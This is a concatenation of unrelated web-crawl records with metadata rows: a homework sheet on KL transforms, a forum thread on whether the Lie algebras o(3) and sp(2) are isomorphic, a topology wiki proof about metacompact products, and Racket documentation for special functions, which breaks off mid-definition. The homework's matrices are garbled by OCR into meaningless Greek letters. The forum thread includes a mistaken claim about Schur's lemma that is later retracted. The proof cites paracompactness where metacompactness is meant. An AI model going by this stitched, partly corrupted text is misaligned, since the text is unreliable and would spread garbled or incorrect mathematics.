Hence HCF of the given numbers = 17 | 2,034 | 5,082 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.859375 | 4 | CC-MAIN-2024-30 | latest | en | 0.710413 |
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# 5_homework5 - EE 211A Fall Quarter 2011 Instructor John...
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1 EE 211A Digital Image Processing I Fall Quarter, 2011 Handout 15 Instructor: John Villasenor Homework 5 Due: Thursday, 3 November 2011 Reading: Textbook pp. 146 – 180. 1. Consider a “random vector” u consisting of two vectors below that occur with equal probability. Ο Ο Π Ξ Μ Μ Ν Λ = 1 2 0 u and Ο Ο Π Ξ Μ Μ Ν Λ− = 0 2 1 u (a) Determine the autocorrelation matrix u R (not the covariance matrix) of . u (b) Find the orthonormal eigenvectors and associated eigenvalues of . u R (c) Give the matrix , * t φ which is used to obtain the forward KL transform of . u (d) Obtain the KL transforms n t n u v * = for . 1 , 0 = n Verify that 0 v represents an expansion of 0 u in terms of the KL transform basis functions, i.e. that , ) 1 ( ) 0 ( 1 0 0 0 0 v v u + = where n are columns of , or equivalently, conjugate of the rows of . * t (e) Find , v R the autocorrelation matrix of the vectors , n v and confirm that ), ( k v Diag R λ = where k are the eigenvalues of . u R (f) Now find 0 w and , 1 w where 0 w and 1 w are obtained by taking the unitary DFT of 0 u and 1 u respectively.
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Ask a homework question - tutors are online | 493 | 1,696 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.375 | 3 | CC-MAIN-2018-09 | latest | en | 0.773926 |
https://www.physicsforums.com/threads/o-3-sp-2-lie-algebra-isomorphism-problem.239113/ | 1,582,567,772,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875145966.48/warc/CC-MAIN-20200224163216-20200224193216-00347.warc.gz | 791,400,815 | 21,813 | # O(3) sp(2) lie algebra isomorphism problem
I'm mainly hoping that somebody else might have done the same exercise earlier. In that case it could be possible to spot where I'm going wrong.
## Homework Statement
I'm supposed to prove that Lie algebras $$\mathfrak{o}(3)$$ and $$\mathfrak{sp}(2)$$ are isomorphic.
## Homework Equations
Let's see if I have the definitions right...
$$\mathfrak{o}(3) = \{x_1e_1 + x_2e_2 + x_3e_3\;|\;x_1,x_2,x_3\in\mathbb{R}^3\},$$
where
$$e_1 = \left(\begin{array}{rrr} 0 & 1 & 0 \\ -1 & 0 & 0 \\ 0 & 0 & 0 \\ \end{array}\right), \quad e_2 = \left(\begin{array}{rrr} 0 & 0 & -1 \\ 0 & 0 & 0 \\ 1 & 0 & 0 \\ \end{array}\right),\quad e_3 = \left(\begin{array}{rrr} 0 & 0 & 0\\ 0 & 0 & 1\\ 0 & -1 & 0 \\ \end{array}\right),$$
and
$$\mathfrak{sp}(2n) = \{x_1a_1 + x_2a_2 + x_3a_3\;|\;x_1,x_2,x_3\in\mathbb{R}\}$$
where
$$a_1 = \left(\begin{array}{rr} 0 & 1 \\ 0 & 0 \\ \end{array}\right),\quad a_2 = \left(\begin{array}{rr} 0 & 0 \\ 1 & 0 \\ \end{array}\right),\quad a_3 = \left(\begin{array}{rr} 1 & 0 \\ 0 & -1 \\ \end{array}\right).$$
Lie brackets are
$$[e_1,e_2] = e_3,\quad [e_2,e_3] = e_1,\quad [e_3,e_1] = e_2,$$
$$[a_1,a_2] = a_3,\quad [a_2,a_3] = 2a_2,\quad [a_3,a_1] = 2a_1.$$
## The Attempt at a Solution
So I want an isomorphism $$\phi:\mathfrak{o}(3)\to\mathfrak{sp}(2)$$. I tried to conclude that I could assume the isomorphism to be of form
$$\phi(e_1) = \lambda_1 a_1 + \lambda_2 a_2 + \lambda_3 a_3$$
$$\phi(e_2) = \pi_1 a_1 + \pi_2 a_2 + \pi_3 a_3$$
$$\phi(e_3) = \alpha a_3,$$
because the cross-product structure on $$\mathbb{R}^3$$ is invariant under rotations. If there exists some isomorphism $$\bar{\phi}$$, then there would be a vector $$v\in\mathfrak{o}(3)$$ so that $$\bar{\phi}(v)= a_3$$. Then I choose a new basis to $$\mathfrak{o}(3)$$ so that $$e_3\propto v$$.
Then it started to look like the task is impossible. The demand
$$[\phi(e_2),\phi(e_3)] = \phi([e_2,e_3])$$
implies set of equations
$$-2\pi_1\alpha = \lambda_1,\quad 2\pi_2\alpha = \lambda_2,\quad 0=\lambda_3,$$
and the demand
$$[\phi(e_3),\phi(e_1)]=\phi([e_3,e_1])$$
implies set of equations
$$2\alpha\lambda_1 =\pi_1,\quad -2\alpha\lambda_2 = \pi_2,\quad 0=\pi_3.$$
Then we get
$$\lambda_1 = -2\pi_1\alpha = -4\alpha^2 \lambda_1,\quad\implies\quad \alpha=\pm\frac{i}{2},\;\textrm{or}\;\lambda_1 = 0$$
and both possibilities are unacceptable.
Related Calculus and Beyond Homework Help News on Phys.org
matt grime
Homework Helper
You made an assumption. It didn't work - and I don't see any justification for the assumption to be honest. So perhaps your assumption was incorrect? Try 'just doing it'.
Other methods include altering the inner product on R^3 that SO(3) preserves, to get so(3) in a new basis.
Here's my proof that the assumption should have been right:
First assume that some isomorphism $$\bar{\phi}:\mathfrak{o}(3)\to\mathfrak{sp}(2)$$ exists. Then there is a vector $$v\in\mathfrak{o}(3)$$ so that $$\bar{\phi}(v)=a_3$$. We can choose a new basis $$\bar{e}_1,\bar{e}_2,\bar{e}_3$$ to the $$\mathfrak{o}(3)$$ so that
$$[\bar{e}_1,\bar{e}_2]=\bar{e}_3,\quad [\bar{e}_2,\bar{e}_3]=\bar{e}_1,\quad [\bar{e}_3,\bar{e}_1]=\bar{e}_2,\quad \bar{e}_3 = \alpha v$$
with some $$\alpha\in\mathbb{R}$$. Let $$\psi:\mathfrak{o}(3)\to\mathfrak{o}(3)$$ be the automorphism so that
$$\psi(e_1)=\bar{e}_1,\quad\psi(e_2)=\bar{e}_2,\quad\psi(e_3)=\bar{e}_3.$$
Now $$\phi=\bar{\phi}\circ\psi$$ should be the isomorphism so that $$\phi(e_3)=\alpha a_3$$.
I know already that following isomorphisms are true. $$\mathfrak{o}(3)=\mathfrak{su}(2)$$ and $$\mathfrak{sl}(2,\mathbb{R})=\mathfrak{sp}(2)$$. The definitions are
$$\mathfrak{o}(3) = \{X\in\mathfrak{gl}(3,\mathbb{R})\;|\; X^T+X = 0\}$$
$$\mathfrak{su}(2) = \{X\in\mathfrak{gl}(2,\mathbb{C})\;|\; X^{\dagger} + X = 0\;\textrm{and}\;\textrm{Tr}(X)=0\}$$
$$\mathfrak{sl}(2,\mathbb{R}) = \{X\in\mathfrak{gl}(2,\mathbb{R})\;|\; \textrm{Tr}(X)=0\}$$
$$\mathfrak{sp}(2) = \{X\in\mathfrak{gl}(2,\mathbb{R})\;|\; X^T J + J X=0\}$$
where
$$J=\left(\begin{array}{rr} 0 & -1 \\ 1 & 0 \\ \end{array}\right)$$
Is the claim $$\mathfrak{sl}(2,\mathbb{R})=\mathfrak{su}(2)$$ true?
Last edited:
matt grime
Homework Helper
I still don't buy your claim. There are 2 reason for this.
1) You seem to be saying that given any vector, you can complete to a basis with certain lie bracket. This may be true, but I don't see it is obvious.
2) You keep not noticing that since things are defined up to scalars, it is unnecessary to use that alpha.
Remember that choosing an isomorphism is just picking a new basis. Why should I be able to complete to two different bases like that given the same starting vector?
Finally, on that example. In sp(2), a_3 lies in the cartan subalgebra $\mathfrak{h}$, and a_1, a_2 are eigenvectors with respect to the adjoint action. It is certainly not true that you can pick an arbitrary element and expect it to lie in $\mathfrak{h}$. Using your logic, I can suppose that there is an isomorphism of sp(2) that sends a_3 to a_1. But that can't be - the adjoint action of a_1 doesn't have an eigenspace of dimension 2 for eigenvalue 1. In fact in the adjoint action a_1 is nilpotent - write out the matrix, or notice that ad(a_1) sends a_2 to a multiple of a_3, and a_3 to a multiple of a_1, hence some power of ad(a_1) annihilates sp(2).
All 3-dim complex semi-simple Lie algebras are isomorphic. I can't say I've ever studied the real case.
The complexifications are all isomorphic, by above, but su(2) isn't a complex lie algebra. I still think that over the reals they will be isomorphic.
Last edited:
matt grime
Homework Helper
Oh, and by Schur's lemma, any isomorphism of sp(2) to itself is just multiplication by a scalar, since it is simple - we're attempting to say something about the (simple) adjoint rep.
1) You seem to be saying that given any vector, you can complete to a basis with certain lie bracket. This may be true, but I don't see it is obvious.
I'm not saying this for an arbitrary Lie algebra, but precisely for the $$\mathfrak{o}(3)$$. This is standard geometric knowledge: The cross-product looks the same after a rotation of basis.
2) You keep not noticing that since things are defined up to scalars, it is unnecessary to use that alpha.
The Lie brackets are not invariant under scaling. I have already fixed the basis $$a_n$$, and at least the magnitudes of basis vectors $$e_n$$, so the alpha in the definition of the isomorphism $$\phi$$ is not redundant. If I set $$\alpha=1$$, I would need to then introduce some other equivalent parameter in the basis of $$\mathfrak{sp}(2)$$.
Using your logic, I can suppose that there is an isomorphism of sp(2) that sends a_3 to a_1.
I'm not using an isomorphism $$\mathfrak{sp}(2)\to\mathfrak{sp}(2)$$, but only an isomorphism $$\mathfrak{o}(3)\to\mathfrak{o}(3)$$, when justifying the form of the attempt $$\phi$$.
matt grime
Homework Helper
The *only* isomorphisms of o(3) are multiplication by scalars by Schur's lemma. (I thiknk) You're just writing down an isometry of the underlying vector space and assuming it is a Lie algebra homomorphism.
The question just needs you to write out 3 linear equations
$$a_i = \sum_{j=1}^3 \lambda_j a_j$$
for i=1,2,3
and work out what the lambda_i are. It is very straight forward.
The *only* isomorphisms of o(3) are multiplication by scalars by Schur's lemma.
This must be a mistake.
For example, set
$$\psi(e_1) = e_2,\quad \psi(e_2) = -e_1,\quad \psi(e_3)=e_3.$$
Now $$\psi:\mathfrak{o}(3)\to\mathfrak{o}(3)$$ is a linear bijection, and also
$$[\psi(e_1),\psi(e_2)] = [e_2,-e_1] = e_3 = \psi(e_3) = \psi([e_1,e_2])$$
$$[\psi(e_2),\psi(e_3)] = [-e_1,e_3] = e_2 = \psi(e_1) =\psi([e_2,e_3])$$
$$[\psi(e_3),\psi(e_1)] = [e_3,e_2] = -e_1 = \psi(e_2) = \psi([e_3,e_1])$$
so $$\psi$$ is a Lie algebra isomorphism.
matt grime
Homework Helper
Hmm, so where am I going wrong?* In any case, if you do what I suggested (with e_j, not a_j in the sum) above you will get the answer.
* perhaps in trying to invoke Schur's lemma, which is after all about modules, in the wrong place...
Last edited:
By strange coincidence, I proved the Schur's lemma yesterday in another exercise in this Lie algebra context. It says that if $$\phi$$ is an irreducible representation of a Lie algebra in some finite dimensional vector space $$V$$, and if a matrix $$A\in\textrm{End}(V)$$ commutes with all $$\phi(x)$$, then A is a scalar multiple of the identity mapping. The lemma get's related to the simple Lie algebra's, because their adjoint representations are irreducible. But it doesn't seem immediately clear to me what are the matrices commuting with the $$\textrm{ad}_X:\mathfrak{o}(3)\to\mathfrak{o}(3)$$ matrices, or how they are related to the Lie algebra isomorphisms.
matt grime
Homework Helper
I'm not using an isomorphism $$\mathfrak{sp}(2)\to\mathfrak{sp}(2)$$, but only an isomorphism $$\mathfrak{o}(3)\to\mathfrak{o}(3)$$, when justifying the form of the attempt $$\phi$$.
Suppose there is an iso from o(3) to sp(2), then something is sent to a_1 and something to a_3, call them x and y. By your reasoning I can compose the inverse to o(3) with a map that sends x to a multiple of y (since your claiming I can choose any isometry), then y down to sp(2) again, so I've sent a_1 to a multiple of a_3, but that can't happen.
matt grime
Homework Helper
Right, got the Schur's lemma thing straight - sorry for misleading you. I was attempting to find a justification for something without thinking it through.
The point is, if f is an isomorphism of the adjoint representation, then f is multiplication by a scalar. This doesn't help work out the lie algebra homomorphisms.
It does say something like: if f is a lie alg hom of the adjoint rep then
i.e. [x,f(y)]=f([x,y])
but that isn't the same condition as being a homomorphism of algebras, just reps.
Suppose there is an iso from o(3) to sp(2), then something is sent to a_1 and something to a_3, call them x and y. By your reasoning I can compose the inverse to o(3) with a map that sends x to a multiple of y (since your claiming I can choose any isometry), then y down to sp(2) again, so I've sent a_1 to a multiple of a_3, but that can't happen.
Looks like a proof that o(3) and sp(2) are not isomorphic
I'm believing that there is a mistake in this exercise.
matt grime
Homework Helper
Every 3-dim simple lie algebra is isomorphic to sl_2, so there's no mistake (albeit I'm talking over C, not R).
Could it be that the maker of the exercise has confused something with real and complex vector spaces?
I'm going to see this professor at some point anyway, so I'm going to be asking his advice/opinion on the problem also.
matt grime | 3,673 | 10,754 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.875 | 4 | CC-MAIN-2020-10 | longest | en | 0.704037 |
https://topospaces.subwiki.org/wiki/Compact_times_metacompact_implies_metacompact | 1,545,074,823,000,000,000 | text/html | crawl-data/CC-MAIN-2018-51/segments/1544376829115.83/warc/CC-MAIN-20181217183905-20181217205905-00193.warc.gz | 755,692,014 | 8,266 | # Compact times metacompact implies metacompact
This article states and proves a result of the following form: the product of two topological spaces, the first satisfying the property Compact space (?) and the second satisfying the property Metacompact space (?), is a topological space satisfying the property Metacompact space (?).
View other such computations
## Statement
### Verbal statement
The product of a compact space with a metacompact space (given the product topology), is metacompact.
### Statement with symbols
Let $X$ be a compact space and $Y$ a metacompact space. Then $X \times Y$ is metacompact.
## Related facts
Other results using the same proof technique:
## Facts used
1. Tube lemma: If $X$ is a compact space and $Y$ is a topological space. Then, given any open subset $U$ of $X \times Y$ containing $X \times \{ y \}$ for some $y \in Y$, there exists an open subset $V$ of $Y$ such that $X \times V \subseteq U$.
## Proof
Given: A compact space $X$, a metaacompact space $Y$.
To prove If $U_i$ form an open cover of $X \times Y$, there exists a point-finite open refinement of the $U_i$.
Proof:
1. For any point $y \in Y$, there is a finite collection of $U_i$ that cover $X \times \{ y \}$: Since $X$ is compact, the subspace $X \times \{ y \}$ of $X \times Y$ is also compact, so the cover by the open subsets $U_i$ has a finite subcover.
2. Let $W_y$ be the union of this finite collection of open subsets $U_i$. By fact (1), there exists an open subset $V_y$ of $Y$ such that $X \times V_y \subseteq W_y$.
3. The $V_y$ form an open cover of $Y$.
4. There exists a point-finite open refinement, say $\mathcal{P}$ of the $V_y$ in $Y$: This follows from the fact that $Y$ is paracompact.
5. We can construct a point-finite open refinement of $U_i$ from these:
1. For each member $P \in \mathcal{P}$, there exists $V_y$ such that $P \subseteq V_y$. Thus, $X \times P \subseteq X \times V_y \subseteq W_y$. $W_y$, in turn, is a union of a finite collection of $U_i$s. Thus, $X \times P$ is the union of the intersections $(X \times P) \cap U_i$.
2. Since the $X \times P$ together cover $X \times Y$, the $(X \times P) \cap U_i$ are an open cover of $X \times Y$ that refines the $U_i$s.
3. Finally, we argue that $(X \times P) \cap U_i$ is a point-finite open cover: Suppose $(x,y) \in X \times Y$. Since $\mathcal{P}$ is a point-finite open cover of $Y$. Then, there exist only finitely many $P \in \mathcal{P}$ such that $y \in P$. For each of these, $X \times P$ corresponds to finitely many intersections $(X \times P) \cap U_i$, so the total number of open subsets containing $(x,y)$ is finite. | 782 | 2,640 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 58, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.4375 | 3 | CC-MAIN-2018-51 | latest | en | 0.776908 |
http://planet.racket-lang.org/package-source/williams/science.plt/4/8/scribblings/special-functions.scrbl | 1,430,130,771,000,000,000 | text/plain | crawl-data/CC-MAIN-2015-18/segments/1429246658061.59/warc/CC-MAIN-20150417045738-00078-ip-10-235-10-82.ec2.internal.warc.gz | 221,219,224 | 4,433 | #lang scribble/doc @(require scribble/manual scribble/struct scribblings/icons (for-label racket (planet williams/science/science-with-graphics))) @title[#:tag "special-functions"]{Special Functions} @local-table-of-contents[] This chapter describes the special functions provided by the Science Collection. The functions described in this chapter are defined in the @racketfont{special-functions} sub-collection of the Science Collection. The entire @racketfont{special-functions} sub-collection can be made available using the form: @defmodule[(planet williams/science/special-functions)] The individual modules in the @racketfont{special-functions} sub-collection can also be made available as describes in the sections below. @section{Error Functions} The @italic{error function} is described in Abramowitz and Stegun @cite["Abramowitz64"], Chapter 7. The functions are defined in the @filepath{error.rkt} file in the @racketfont{special-functions} sub-collection of the science collection and are made available using the form: @defmodule[(planet williams/science/special-functions/error)] @subsection{Error Function} @(margin-note magnify @link["http://mathworld.wolfram.com/Erf.html"]{Erf} " from Wolfram MathWorld.") @defproc*[(((erf (x real?)) (real-in -1.0 1.0)) ((unchecked-erf (x real?)) (real-in -1.0 1.0)))]{ Computes the error function: @image["scribblings/images/erf-equation.png"]{erf equation}.} @bold{Example:} Plot of @racket[(erf x)] on the interval [-4, 4]. @racketmod[ racket (require (planet williams/science/special-functions/error) plot) (plot (line erf) #:x-min -4.0 #:x-max 4.0 #:y-min -1.0 #:y-max 1.0 #:title "Error Function, erf(x)")] The following figure shows the resulting plot: @image["scribblings/images/erf.png"]{erf plot} @subsection{Complementary Error Function} @(margin-note magnify @link["http://mathworld.wolfram.com/Erfc.html"]{Erfc} " from Wolfram MathWorld.") @defproc*[(((erfc (x real?)) (real-in 0.0 2.0)) ((unchecked-erfc (x real?)) (real-in 0.0 2.0)))]{ Computes the complementary error function: @image["scribblings/images/erfc-equation.png"]{erfc equation}.} @defproc*[(((log-erfc (x real?)) real?) ((unchecked-log-erfc (x real?)) real?))]{ Computes the log of the complementary error function.} @bold{Example:} Plot of @racket[(erfc x)] on the interval [-4, 4]. @racketmod[ racket (require (planet williams/science/special-functions/error) plot) (plot (line erfc) #:x-min -4.0 #:x-max 4.0 #:y-min 0.0 #:y-max 2.0 #:title "Complementary Error Function, erfc(x)")] The following figure shows the resulting plot: @image["scribblings/images/erfc.png"]{erfc plot} @subsection{Hazard Function} @(margin-note magnify @link["http://mathworld.wolfram.com/HazardFunction.html"]{Hazard Function} " from Wolfram MathWorld.") The @italic{hazard function} for the normal distribution, also known as the inverse Mill's ratio, is the ratio of the probability function, @math{P(x)}, to the survival function, @math{S(x)}, and is defined as: @image["scribblings/images/hazard-equation.png"]{hazard equation} @defproc*[(((hazard (x real?)) (>=/c 0.0)) ((unchecked-hazard (x real?)) (>=/c 0.0)))]{ Computes the hazard function for the normal distribution.} @bold{Example:} Plot of @racket[(hazard x)] on the interval [-5, 10]. @racketmod[ racket (require (planet williams/science/special-functions/error) plot) (plot (line hazard) #:x-min -5.0 #:x-max 10.0 #:y-min 0.0 #:y-max 10.0 #:title "Hazard Function, hazard(x)")] The following figure shows the resulting plot: @image["scribblings/images/hazard.png"]{hazard plot} @section{Exponential Integral Functions} @(margin-note magnify @link["http://mathworld.wolfram.com/ExponentialIntegral.html"]{Exponential Intgral} " from Wolfram MathWorld.") Information on the exponential integral functions can be found in Abramowitz and Stegun @cite["Abramowitz64"], Chapter 5. The functions are defined in the @filepath{exponential-integral.rkt} file in the @racketfont{special-functions} sub-collection of the science collection are made available using the form: @defmodule[(planet williams/science/special-functions/exponential-integral)] @subsection{First-Order Exponential Integral} @defproc*[(((expint-E1 (x real?)) real?) ((unchecked-expint-E1 (x real?)) real?) ((expint-E1-scaled (x real?)) real?) ((unchecked-expint-E1-scaled (x real?)) real?))]{ Computes the exponential integral @math{E_1(x)}: @image["scribblings/images/expint-E1-equation.png"].} @bold{Example:} Plot of @scheme[(expint-E1 x)] on the interval [-4, 4]. @racketmod[ racket (require (planet williams/science/special-functions/exponential-integral) plot) (plot (line expint-E1) #:x-min -4.0 #:x-max 4.0 #:y-min -10.0 #:y-max 10.0 #:title "Exponential Integral, E1(x)")] The following figure shows the resulting plot: @image["scribblings/images/expint-E1.png"] @subsection{Second-Order Exponential Integral} @defproc*[(((expint-E2 (x real?)) real?) ((unchecked-expint-E2 (x real?)) real?) ((expint-E2-scaled (x real?)) real?) ((unchecked-expint-E2-scaled (x real?)) real?))]{ Computes the second-order exponential integral @math{E_2(x)}: @image["scribblings/images/expint-E2-equation.png"].} @bold{Example:} Plot of @racket[(expint-E2 x)] on the interval [-4, 4]. @racketmod[ racket (require (planet williams/science/special-functions/exponential-integral) plot) (plot (line expint-E2) #:x-min -4.0 #:x-max 4.0 #:y-min -10.0 #:y-max 10.0 #:title "Exponential Integral, E2(x)")] The following figure shows the resulting plot: @image["scribblings/images/expint-E2.png"] @subsection{General Exponential Integral} @defproc*[(((expint-Ei (x real?)) real?) ((unchecked-expint-Ei (x real?)) real?) ((expint-Ei-scaled (x real?)) real?) ((unchecked-expint-Ei-scaled (x real?)) real?))]{ Computes the exponential integral @math{E_i(x)}: @image["scribblings/images/expint-Ei-equation.png"].} @bold{Example:} Plot of @racket[(expint-Ei x)] on the interval [-4, 4]. @racketmod[ racket (require (planet williams/science/special-functions/exponential-integral) plot) (plot (line expint-Ei) #:x-min -4.0 #:x-max 4.0 #:y-min -10.0 #:y-max 10.0 #:title "Exponential Integral, Ei(x)")] The following figure shows the resulting plot: @image["scribblings/images/expint-Ei.png"] @section{GammaFunctions} The gamma functions are defined in the @filepath{gamma.rkt} file in the @racketfont{special-functions} sub-collection of the Science Collection and are made available using the form: @defmodule[(planet williams/science/special-functions/gamma)] Note that the gamma functions (Section 5.3), psi functions (Section 5.4), and the zeta functions (Section 5.5) are defined in the same module, @filepath{gamma.rkt}. This is because their definitions are interdependent and Racket does not allow circular module dependencies. @subsection{Gamma Function} @(margin-note magnify @link["http://mathworld.wolfram.com/GammaFunction.html"]{Gamma Function} " from Wolfram MathWorld.") The @italic{gamma function} is defined by the integral: @image["scribblings/images/gamma-equation.png"] It is related to the factorial function by @math{Γ(n) = (n - 1)!} for positive integer @math{n}. Further information on the gamma function can be found in Abramowitz and Stegun @cite["Abramowitz64"], Chapter 6. @defproc*[(((gamma (x real?)) real?) ((unchecked-gamma (x real?)) real?))]{ Computes the gamma function, @math{Γ(x)}, subject to @racket[x] not being a negative integer. This function is computed using the real Lanczos method. The maximum value of @racket[x] such that @math{Γ(x)} is not considered an overflow is given by the constant @racket[gamma-xmax] and is 171.0.} @bold{Example:} Plot of @racket[(gamma x)] on the interval (0, 6]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line gamma) #:x-min 0.001 #:x-max 6.0 #:y-min 0.0 #:y-max 120.0 #:title "Gamma Function, Gamma(x)")] The following figure shows the resulting plot: @image["scribblings/images/gamma.png"] @bold{Example:} Plot of @racket[(gamma x)] on the interval (-1, 0). @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line gamma) #:x-min -0.999 #:x-max -0.001 #:y-min -120.0 #:y-max 0.0 #:title "Gamma Function, Gamma(x)")] The following figure shows the resulting plot: @image["scribblings/images/gamma-1.png"] @(margin-note magnify @link["http://mathworld.wolfram.com/LogGammaFunction.html"]{Log Gamma Function} " from Wolfram MathWorld.") @defproc*[(((lngamma (x real?)) real?) ((unchecked-lngamma (x real?)) real?))]{ Computes the logarithm of the gamma function, @math{log Γ(x)}, subject to @racket[x] not being a negative integer. For @math{x < 0}, the real part of @math{log Γ(x)} is returned, which is equivalent to @math{log |Γ(x)|}. The function is computed using the real Lanczos method.} @defproc*[(((lngamma-sgn (x real?)) (values real? (integer-in -1 1))) ((unchecked-lngamma-sgn (x real?)) (values real? (integer-in -1 1))))]{ Computes the logarithm of the magnitude of the gamma function and its sign, subject to @racket[x] not being a negative integer, and returns them as multiple values. The function is computed using the real Lanczos method. The value of the gamma function can be reconstructed using the relation @math{Γ(x) = sgn × exp(resultlg)}, where @math{resultlg} and @math{sgn} are the returned values.} @bold{Example:} Plot of @racket[(lngamma x)] on the interval (0, 6]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line lngamma) #:x-min 0.001 #:x-max 6.0 #:y-min 0.0 #:y-max 5.0 #:title "Log Gamma Function, log Gamma(x)")] The following figure shows the resulting plot: @image["scribblings/images/lngamma.png"] @defproc*[(((gammainv (x real?)) real?) ((unchecked-gammainv (x real?)) real?))]{ Computes the reciprocal of the gamma function, @math{1/Γ(x)}, using the real Lanczos method.} @subsection{Regulated Gamma Function} The @italic{regulated gamma function} is given by @image["scribblings/images/gammastar-equation.png"] @defproc*[(((gammastar (x (>/c 0.0))) real?) ((gamma* (x (>/c 0.0))) real?) ((unchecked-gammastar (x (>/c 0.0))) real?) ((unchecked-gamma* (x (>/c 0.0))) real?))]{ Computes the regulated gamma function, @math{Γ*(x)}, for @math{x > 0}.} @bold{Example:} Plot of @racket[(gammastar x)] on the interval (0, 4]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line gammastar) #:x-min 0.001 #:x-max 4.0 #:y-min 0.0 #:y-max 10.0 #:title "Regulated Gamma Function, Gamma*(x)")] The following figure shows the resulting plot: @image["scribblings/images/gammastar.png"] @subsection{Incomplete Gamma Function} @(margin-note magnify @link["http://mathworld.wolfram.com/IncompleteGammaFunction.html"]{Incomplete Gamma Function} " from Wolfram MathWorld.") @defproc*[(((gamma-inc-Q (a (>/c 0.0)) (x (>=/c 0.0))) real?) ((unchecked-gamma-inc-Q (a (>/c 0.0)) (x (>=/c 0.0))) real?))]{ Computes the normalized incomplete gamma function, @image["scribblings/images/gamma-inc-Q-equation.png"] for @math{a > 0} and @math{x ≥ 0}.} @defproc*[(((gamma-inc-P (a (>/c 0.0)) (x (>=/c 0.0))) real?) ((unchecked-gamma-inc-P (a (>/c 0.0)) (x (>=/c 0.0))) real?))]{ Computes the complementary normalized incomplete gamma function, @image["scribblings/images/gamma-inc-P-equation.png"] for @math{a > 0} and @math{x ≥ 0}.} @defproc*[(((gamma-inc (a real?) (x (>=/c 0.0))) real?) ((unchecked-gamma-inc (a real?) (x (>=/c 0.0))) real?))]{ Computes the unnormalized incomplete gamma function, @image["scribblings/images/gamma-inc-equation.png"] for @racket[a] real and @math{x ≥ 0}.} @subsection{Factorial Function} The factorial of a positive integer @math{n}, @math{n!}, is defined as @math{n! = n × (n - 1) × ... × 2 × 1}. By definition, @math{0! = 1}. The related function is related to the gamma function by @math{Γ(n) = (n - 1)!}. @defproc*[(((fact (n natural-number/c)) (>=/c 1.0)) ((unchecked-fact (n natural-number/c)) (>=/c 1.0)))]{ Computes the factorial of @scheme[n], @math{n!}.} @defproc*[(((lnfact (n natural-number/c)) (>=/c 0.0)) ((unchecked-lnfact (n natural-number/c)) (>=/c 0.0)))]{ Computes the logarithm of the factorial of @racket[n], @math{log n!}. The algorithm is faster than computing @math{ln Γ(n + 1)} via @racket[lngamma] for @math{n < 170}, but defers for larger @math{n}.} @subsection{Double Factorial Function} The double factorial of @racket[n], @math{n!!}, is defined as @math{n! = n × (n - 2) × (n - 4) × ...}. By definition, @math{-1!! = 0!! = 1}. @defproc*[(((double-fact (n natural-number/c)) (>=/c 1.0)) ((unchecked-double-fact (n natural-number/c)) (>=/c 1.0)))]{ Computes the double factorial of @racket[n], @math{n!!}.} @defproc*[(((lndouble-fact (n natural-number/c)) (>=/c 0.0)) ((unchecked-lndouble-fact (n natural-number/c)) (>=/c 0.0)))]{ Computes the logarithm of the double factorial of @racket[n], @math{log n!!}.} @subsection{Binomial Coefficient Function} The binomial coefficient, @math{n choose m}, is defined as: @image["scribblings/images/choose-equation.png"] @defproc*[(((choose (n natural-number/c) (m natural-number/c)) (>=/c 1.0)) ((unchecked-choose (n natural-number/c) (m natural-number/c)) (>=/c 1.0)))]{ Computes the binomial coefficient for @racket[n] and @racket[m], @math{n choose m}.} @defproc*[(((lnchoose (n natural-number/c) (m natural-number/c)) (>=/c 0.0)) ((unchecked-lnchoose (n natural-number/c) (m natural-number/c)) (>=/c 0.0)))]{ Computes the logarithm of the binomial coefficient for @racket[n] and @racket[m], @math{log (n choose m)}.} @section{Psi Functions} The psi functions are defined in the @filepath{gamma.rkt} file in the @schemefont{special-functions} sub-collection of the science collection and are made available using the form: @;@defmodule[(planet williams/science/special-functions/gamma)] @racket[(require (planet williams/science/special-functions/gamma))] Note that the gamma functions (Section 5.3), psi functions (Section 5.4), and the zeta functions (Section 5.5) are defined in the same module, @filepath{gamma.rkt}. This is because their definitions are interdependent and Racket does not allow circular module dependencies. @subsection{Psi (Digamma) Functions} @(margin-note magnify @link["http://mathworld.wolfram.com/DigammaFunction.html"]{Digamma Function} " from Wolfram MathWorld.") @defproc*[(((psi-int (n (integer-in 1 +inf.0))) real?) ((unchecked-psi-int (n (integer-in 1 +inf.0))) real?))]{ Computes the digamma function, @math{Ψ(n)}, for positive integer @racket[n]. The digamma function is also called the Psi function.} @defproc*[(((psi (x real?)) 